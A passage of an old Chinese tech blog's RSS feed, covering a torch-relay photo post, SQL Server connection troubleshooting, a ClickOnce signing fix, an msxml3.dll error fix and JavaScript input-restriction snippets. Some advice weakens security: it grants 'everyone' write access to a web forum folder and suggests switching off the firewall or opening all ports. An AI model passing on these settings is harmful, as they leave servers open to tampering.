&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/bbaf479fc0a64425b71487fc3a9ecb31.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/bbaf479fc0a64425b71487fc3a9ecb31.jpg" alt="9.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;!--more--&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;可口可乐&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/d139876953224e2db7a4e42048f8e49d.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/d139876953224e2db7a4e42048f8e49d.jpg" alt="9.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;三星&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/df936fcbda114b23ad6ae2e76e8850e6.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/df936fcbda114b23ad6ae2e76e8850e6.jpg" alt="9.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;联想&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/dec9fc25445c4d939b71eb9cdf3d4c13.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/dec9fc25445c4d939b71eb9cdf3d4c13.jpg" alt="9.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;接力火炬手下车定位了&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/0e952dcb0c7343e7bcbb0c70fc4cd7ce.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/0e952dcb0c7343e7bcbb0c70fc4cd7ce.jpg" alt="9.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;火炬手手持火炬向这边来了&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/85089131ef1543c7ad6b56e926b0d7cf.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/85089131ef1543c7ad6b56e926b0d7cf.jpg" alt="10.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;火炬交接 &lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/8fab5c83d8c0421b9de4ba78ba657199.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/8fab5c83d8c0421b9de4ba78ba657199.jpg" alt="12.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/04/90947cfedec54a0086acc7950ee4bdd6.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/04/90947cfedec54a0086acc7950ee4bdd6.jpg" alt="13.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=184</guid><pubDate>Fri, 10 Apr 2009 11:00:37 GMT</pubDate></item><item><title>SQL Server连接中常见错误解决方法</title><link>http://www.chendw.cn:8080/view.aspx?id=138</link><description>&lt;div id="blog_text" class="cnt"&gt;　　&lt;strong&gt;一、SQL Server不存在或访问被拒绝&lt;/strong&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;　　分析：此问题最为复杂，由于错误发生的原因比较多，所以需要检查很多方面。&lt;/p&gt;
&lt;p&gt;　　一般情况下，有几种可能性：&lt;/p&gt;
&lt;p&gt;　　1.SQL Server名称或IP地址拼写有误。&lt;/p&gt;
&lt;p&gt;　　2.服务器端网络配置有误。&lt;/p&gt;
&lt;p&gt;　　3.客户端网络配置有误。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;要解决此问题，我们一般要遵循以下的步骤来一步步找出导致错误的原因&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;首先,检查网络物理连接&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　ping &amp;lt;服务器IP地址/服务器名称&amp;gt;&lt;/p&gt;
&lt;p&gt;　　假如ping&amp;lt;服务器IP地址&amp;gt;不成功,说明物理连接有问题,这时候要检查硬件设备,如网卡,HUB,路由器等.。&lt;/p&gt;
&lt;p&gt;　　另外还有一种可能是由于客户端和服务器之间安装有防火墙软件造成的,比如ISA Server。&lt;/p&gt;
&lt;p&gt;　　防火墙软件可能会屏蔽对ping,telnet等的响应,因此在检查连接问题的时候,我们要先把防火墙软件暂时关闭,或者打开所有被封闭的端口。&lt;/p&gt;
&lt;p&gt;　　如果ping&amp;lt;服务器IP地址&amp;gt;成功而,ping&amp;lt;服务器名称&amp;gt;失败则说明名字解析有问题,这时候要检查DNS服务是否正常。&lt;/p&gt;
&lt;p&gt;　　有时候客户端和服务器不在同一个局域网里面,这时候很可能无法直接使用服务器名称来标识该服务器,这时候我们可以使用HOSTS文件来进行名字解析, 具体的方法是:&lt;/p&gt;
&lt;p&gt;　　1.使用记事本打开HOSTS文件（一般情况下位于C:\WINNT\system32\drivers\etc）。&lt;/p&gt;
&lt;p&gt;　　添加一条IP地址与服务器名称的对应记录,如:&lt;/p&gt;
&lt;p&gt;　　172.168.10.24 myserver&lt;/p&gt;
&lt;p&gt;　　2.或在SQL Server的客户端网络实用工具里面进行配置,后面会有详细说明。&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;　　&lt;strong&gt;其次,使用telnet命令检查SQL Server服务器工作状态&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　telnet &amp;lt;服务器IP地址&amp;gt; 1433&lt;/p&gt;
&lt;p&gt;　　如果命令执行成功,可以看到屏幕一闪之后光标在左上角不停闪动,这说明SQL Server服务器工作正常,并且正在监听1433端口的 TCP/IP 连接。&lt;/p&gt;
&lt;p&gt;　　如果命令返回"无法打开连接"的错误信息,则说明服务器端没有启动SQL Server服务, 也可能服务器端没启用 TCP/IP 协议,或者服务器端没有在SQL Server默认的端口1433上监听。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;接着,我们要到服务器上检查服务器端的网络配置, 检查是否启用了命名管道.是否启用了TCP/IP协议等等&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　可以利用 SQL Server 自带的服务器网络使用工具来进行检查。&lt;/p&gt;
&lt;p&gt;　　点击:程序&amp;mdash;Microsoft SQL Server&amp;mdash;服务器网络使用工具。&lt;/p&gt;
&lt;p&gt;　　打开该工具后，在&amp;ldquo;常规&amp;rdquo;中可以看到服务器启用了哪些协议。&lt;/p&gt;
&lt;p&gt;　　一般而言,我们启用命名管道以及 TCP/IP 协议.&lt;/p&gt;
&lt;p&gt;　　点中 TCP/IP 协议,选择"属性",我们可以来检查 SQK Server 服务默认端口的设置.一般而言,我们使用 SQL Server默认的1433端口.如果选中"隐藏服务器",则意味着客户端无法通过枚举服务器来看到这台服务器,起到了保护的作用,但不影响连接。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;接下来我们要到客户端检查客户端的网络配置&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　我们同样可以利用 SQL Server 自带的客户端网络使用工具来进行检查, 所不同的是这次是在客户端来运行这个工具.&lt;/p&gt;
&lt;p&gt;　　点击：程序&amp;mdash;Microsoft SQL Server&amp;mdash;客户端网络使用工具。&lt;/p&gt;
&lt;p&gt;　　打开该工具后,在"常规"项中,可以看到客户端启用了哪些协议。&lt;/p&gt;
&lt;p&gt;　　一般而言，我们同样需要启用命名管道以及TCP/IP 协议。&lt;/p&gt;
&lt;p&gt;　　点击TCP/IP协议,选择"属性",可以检查客户端默认连接端口的设置,该端口必须与服务器一致。&lt;/p&gt;
&lt;p&gt;　　单击"别名"选项卡,还可以为服务器配置别名.服务器的别名是用来连接的名称,连接参数中的服务器是真正的服务器名称,两者可以相同或不同.别名的设置与使用HOSTS文件有相似之处。&lt;/p&gt;
&lt;p&gt;　　通过以上几个方面的检查,基本上可以排除第一种错误。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;　&lt;strong&gt;二、无法连接到服务器,用户xxx登陆失败&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　该错误产生的原因是由于SQL Server使用了"仅 Windows"的身份验证方式,&lt;/p&gt;
&lt;p&gt;　　因此用户无法使用SQL Server的登录帐户（如sa）进行连接，解决方法如下所示:&lt;/p&gt;
&lt;p&gt;　　1.在服务器端使用企业管理器,并且选择"使用Windows身份验证"连接上SQL Server在企业管理器中&lt;/p&gt;
&lt;p&gt;　　&amp;mdash;右键你的服务器实例(就是那个有绿色图标的)&lt;/p&gt;
&lt;p&gt;　　&amp;mdash;编辑SQL Server注册属性&lt;/p&gt;
&lt;p&gt;　　&amp;mdash;选择"使用windows身份验证"&lt;/p&gt;
&lt;p&gt;　　2.展开"SQL Server组",鼠标右键点击SQL Server服务器的名称,选择"属性",再选择"安全性"选项卡。&lt;/p&gt;
&lt;p&gt;　　3.在"身份验证"下,选择"SQL Server和 Windows "。&lt;/p&gt;
&lt;p&gt;　　4.重新启动SQL Server服务。&lt;/p&gt;
&lt;p&gt;　　在以上解决方法中,如果在第1步中使用"使用Windows 身份验证"连接SQL Server失败, 那就通过修改注册表来解决此问题：&lt;/p&gt;
&lt;p&gt;　　1.点击"开始"&amp;mdash;"运行",输入regedit,回车进入注册表编辑器。&lt;/p&gt;
&lt;p&gt;　　2.依次展开注册表项,浏览到以下注册表键:&lt;/p&gt;
&lt;p&gt;　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer]&lt;/p&gt;
&lt;p&gt;　　3.在屏幕右方找到名称"LoginMode",双击编辑双字节值。&lt;/p&gt;
&lt;p&gt;　　4.将原值从1改为2,点击"确定"。&lt;/p&gt;
&lt;p&gt;　　5.关闭注册表编辑器。&lt;/p&gt;
&lt;p&gt;　　6.重新启动SQL Server服务。&lt;/p&gt;
&lt;p&gt;　　此时,用户可以成功地使用sa在企业管理器中新建SQL Server注册,&lt;/p&gt;
&lt;p&gt;　　但是仍然无法使用Windows身份验证模式来连接SQL Server。&lt;/p&gt;
&lt;p&gt;　　这是因为在SQL Server中有两个缺省的登录帐户：&lt;/p&gt;
&lt;p&gt;　　BUILTIN\Administrators&lt;/p&gt;
&lt;p&gt;　　&amp;lt;机器名&amp;gt;\Administrator 被删除。&lt;/p&gt;
&lt;p&gt;　　要恢复这两个帐户,可以使用以下的方法：&lt;/p&gt;
&lt;p&gt;　　1.打开企业管理器,展开服务器组,然后展开服务器&lt;/p&gt;
&lt;p&gt;　　2.展开"安全性"，右击"登录",然后单击"新建登录"&lt;/p&gt;
&lt;p&gt;　　3.在"名称"框中，输入 BUILTIN\Administrators&lt;/p&gt;
&lt;p&gt;　　4.在"服务器角色"选项卡中，选择"System Administrators"&lt;/p&gt;
&lt;p&gt;　　5.点击"确定"退出&lt;/p&gt;
&lt;p&gt;　　6.使用同样方法添加 &amp;lt;机器名&amp;gt;\Administrator 登录。&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;　　&lt;strong&gt;详细说明:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　以下注册表键:&lt;/p&gt;
&lt;p&gt;　　HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\LoginMode的值决定了SQL Server将采取何种身份验证模式.&lt;/p&gt;
&lt;p&gt;　　1.表示使用"Windows 身份验证"模式&lt;/p&gt;
&lt;p&gt;　　2.表示使用混合模式（Windows 身份验证和 SQL Server 身份验证）。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;三、提示连接超时&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　如果遇到第三个错误,一般而言表示客户端已经找到了这台服务器,并且可以进行连接,不过是由于连接的时间大于允许的时间而导致出错。&lt;/p&gt;
&lt;p&gt;　　这种情况一般会发生在当用户在Internet上运行企业管理器来注册另外一台同样在Internet上的服务器, 并且是慢速连接时,有可能会导致以上的超时错误.有些情况下,由于局域网的网络问题,也会导致这样的错误。&lt;/p&gt;
&lt;p&gt;　　要解决这样的错误,可以修改客户端的连接超时设置. 默认情况下,通过企业管理器注册另外一台SQL Server的超时设置是4秒, 而查询分析器是15秒（这也是为什么在企业管理器里发生错误的可能性比较大的原因）.&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;具体步骤为:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　企业管理器中的设置：&lt;/p&gt;
&lt;p&gt;　　1.在企业管理器中,选择菜单上的"工具",再选择"选项"&lt;/p&gt;
&lt;p&gt;　　2.在弹出的"SQL Server企业管理器属性"窗口中,点击"高级"选项卡&lt;/p&gt;
&lt;p&gt;　　3.在"连接设置"下的"登录超时（秒）"右边的框中输入一个比较大的数字,如20.&lt;/p&gt;
&lt;p&gt;　　查询分析器中的设置：&lt;/p&gt;
&lt;p&gt;　　工具&amp;mdash;选项&amp;mdash;连接&amp;mdash;将登录超时设置为一个较大的数字&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;四、大部分机都用Tcp/ip才能成功，有时你会发现用Named Pipes才可以？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　这是由于在WINDOWS 2000以后的操作系统中，MS为解决SQL SERVER的安全问题将TCP/IP配置为SQL Server的默认连接协议，你可以在CLIENT NETWORK UTILITY中看到TCP/IP和NAME PIPE 的顺序。&lt;/p&gt;
&lt;p&gt;　　也可以在：&lt;/p&gt;
&lt;p&gt;　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Client\SuperSocketNetLib]&lt;/p&gt;
&lt;p&gt;　　"ProtocolOrder"=hex(7):74,00,63,00,70,00,00,00,00,00&lt;/p&gt;
&lt;p&gt;　　此处可以看到默认的协议。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;问：怎么在程序中更改Named Pipes，Tcp/ip其sql语句怎么写？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　答：可以在以上提到的注册表的相对位置来修改，示例如下：&lt;/p&gt;
&lt;p&gt;　　&amp;middot;CLIENT端：&lt;/p&gt;
&lt;p&gt;　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Client\SuperSocketNetLib]&lt;/p&gt;
&lt;p&gt;　　"ProtocolOrder"=hex(7):74,00,63,00,70,00,00,00,00,00&lt;/p&gt;
&lt;p&gt;　　&amp;middot;SERVER端：&lt;/p&gt;
&lt;p&gt;　　[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\SuperSocketNetLib]&lt;/p&gt;
&lt;p&gt;　　"ProtocolOrder"=hex(7):74,00,63,00,70,00,00,00,00,00&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=138</guid><pubDate>Sat, 28 Mar 2009 12:41:01 GMT</pubDate></item><item><title>无法在证书存储区中找到清单签名证书【解决方法】</title><link>http://www.chendw.cn:8080/view.aspx?id=137</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;方法一：工程-&amp;gt;属性-&amp;gt;签名-&amp;gt;为ClickOnce清单签名 去掉这个勾&lt;/p&gt;
&lt;p&gt;方法二：在"签名"中选择"创建测试证书..."按钮,建一个证书即可&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=137</guid><pubDate>Sat, 28 Mar 2009 12:40:25 GMT</pubDate></item><item><title>msxml3.dll 错误 &amp;amp;#39;80070005&amp;amp;#39; 解决办法[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=136</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;　　最近在论坛上有许多帖子提到了本帖标题中提到的问题，而所有这些帖子里均找不到相关的解决办法。&lt;br /&gt;　　本人通过分析发现，当你的dvbbs论坛文件夹是在NTFS分区上且其真实的物理位置不是在网站根目录所在的操作系统文件夹里面时，就会出现&amp;ldquo;msxml3.dll 错误 '80004005' &amp;rdquo;这个错误。&lt;br /&gt;　　解决这个错误的办法是：在操作系统一级上，将dvbbs所在文件夹赋予&amp;ldquo;everyone&amp;rdquo;对dvbbs目录的写权限。（找到dvbbs所在文件夹---属性---安全选行卡---添加---高级---立即查找---在"everyone"上双击---确定---在"写入"的允许框上打勾---确定）&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=136</guid><pubDate>Sat, 28 Mar 2009 12:41:43 GMT</pubDate></item><item><title>[WEB]输入框input高级限制级用法指南</title><link>http://www.chendw.cn:8080/view.aspx?id=135</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;strong&gt;1.取消按钮按下时的虚线框&lt;br&gt;&lt;/strong&gt;　　&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            在input里添加属性值&amp;nbsp;&amp;nbsp; hideFocus 或者 HideFocus=true &lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;br&gt;&lt;p&gt;　　&lt;strong&gt;2.只读文本框内容&lt;br&gt;&lt;/strong&gt;&lt;br&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            在input里添加属性值&amp;nbsp;&amp;nbsp; readonly&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;3.防止退后清空的TEXT文档(可把style内容做做为类引用)&lt;br&gt;&lt;/strong&gt;&lt;br&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;INPUT style=behavior:url(#default#savehistory); type=text id=oPersistInput&amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;br&gt;&lt;br&gt;　　&lt;strong&gt;4.ENTER键可以让光标移到下一个输入框&lt;/strong&gt;&lt;/p&gt;&lt;p class="code"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;input onkeydown=&amp;quot;if(event.keyCode==13)event.keyCode=9&amp;quot; &amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;5.只能为中文(有闪动)&lt;/strong&gt;&lt;/p&gt;&lt;p class="code"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;input onkeyup=&amp;quot;value=value.replace(/[ -~]/g,'')&amp;quot; onkeydown=&amp;quot;if(event.keyCode==13)event.keyCode=9&amp;quot;&amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;6.只能为数字(有闪动)&lt;/strong&gt;&lt;/p&gt;&lt;p class="code"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;input onkeyup=&amp;quot;value=value.replace(/[^/d]/g,'') &amp;quot;onbeforepaste=&amp;quot;clipboardData.setData('text',clipboardData.getData('text').replace(/[^/d]/g,''))&amp;quot;&amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;7.只能为数字(无闪动)&lt;/strong&gt;&lt;/p&gt;&lt;p class="code"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;input style=&amp;quot;ime-mode:disabled&amp;quot; onkeydown=&amp;quot;if(event.keyCode==13)event.keyCode=9&amp;quot; onKeyPress=&amp;quot;if ((event.keyCode&amp;lt;48 || event.keyCode&amp;gt;57)) event.returnValue=false&amp;quot;&amp;gt; &lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;br&gt;&lt;p&gt;　　&lt;strong&gt;8.只能输入英文和数字(有闪动) &lt;/strong&gt;&lt;/p&gt;&lt;p class="code"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;input onkeyup=&amp;quot;value=value.replace(/[/W]/g,'')&amp;quot; onbeforepaste=&amp;quot;clipboardData.setData('text',clipboardData.getData('text').replace(/[^/d]/g,''))&amp;quot;&amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt; &lt;br&gt;　&lt;strong&gt;　9.屏蔽输入法&lt;/strong&gt;&lt;/p&gt;&lt;p class="code"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;url&amp;quot; style=&amp;quot;ime-mode:disabled&amp;quot; onkeydown=&amp;quot;if(event.keyCode==13)event.keyCode=9&amp;quot;&amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;10. 只能输入 数字，小数点，减号（-） 字符(无闪动) &lt;/strong&gt;&lt;/p&gt;&lt;p class="code"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;input onKeyPress=&amp;quot;if (event.keyCode!=46 &amp;amp;&amp;amp; event.keyCode!=45 &amp;amp;&amp;amp; (event.keyCode&amp;lt;48 || event.keyCode&amp;gt;57)) event.returnValue=false&amp;quot;&amp;gt; &lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;　　11. 只能输入两位小数，三位小数(有闪动)&lt;/strong&gt;&lt;/p&gt;&lt;p class="code"&gt;&lt;table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td style="word-wrap: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="font-weight: bold; color: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;            &amp;lt;input maxlength=9 onkeyup=&amp;quot;if(value.match(/^/d{3}$/))value=value.replace(value,parseInt(value/10)) ;value=value.replace(//./d*/./g,'.')&amp;quot; onKeyPress=&amp;quot;if((event.keyCode&amp;lt;48 || event.keyCode&amp;gt;57) &amp;amp;&amp;amp; event.keyCode!=46 &amp;amp;&amp;amp; event.keyCode!=45 || value.match(/^/d{3}$/) || //./d{3}$/.test(value)) {event.returnValue=false}&amp;quot; id=text_kfxe name=text_kfxe&amp;gt;&lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=135</guid><pubDate>Tue, 27 Nov 2007 00:57:00 GMT</pubDate></item><item><title>[Javascript]javascript限制脚本输入大全</title><link>http://www.chendw.cn:8080/view.aspx?id=134</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;table class="FCK__ShowTableBorders" style="table-layout: fixed" border="0"&gt;    &lt;tbody&gt;        &lt;tr&gt;            &lt;td&gt;            &lt;div class="cnt"&gt;            &lt;p&gt;&lt;span style="font-size: small"&gt;&lt;font size="2"&gt;1.只能输入汉字的 &lt;/font&gt;&lt;/span&gt;&lt;/p&gt;            &lt;p&gt;&lt;span style="font-size: small"&gt;&lt;font size="2"&gt;&amp;lt;input onkeyup=&amp;quot;value=value.replace(/[^\u4E00-\u9FA5]/g,'')&amp;quot; onbeforepaste=&amp;quot;clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,''))&amp;quot;&amp;gt; &lt;br&gt;            &lt;br&gt;            2.只能输入数字的： &amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;            &amp;lt;input onkeyup=&amp;quot;value=value.replace(/[^\d]/g,'') &amp;quot;onbeforepaste=&amp;quot;clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))&amp;quot;&amp;gt;&lt;/font&gt;&lt;/span&gt;&lt;/p&gt;            &lt;/div&gt;            &lt;/td&gt;        &lt;/tr&gt;    &lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;简易禁止输入汉字&lt;br&gt;&amp;lt;input type=&amp;quot;text&amp;quot; style=&amp;quot;ime-mode:disabled&amp;quot;&amp;gt;&lt;/p&gt;&lt;p&gt;输入数字和小数点：&lt;br&gt;&lt;span style="color: #ff0000"&gt;onkeyup&lt;/span&gt;&lt;span style="color: 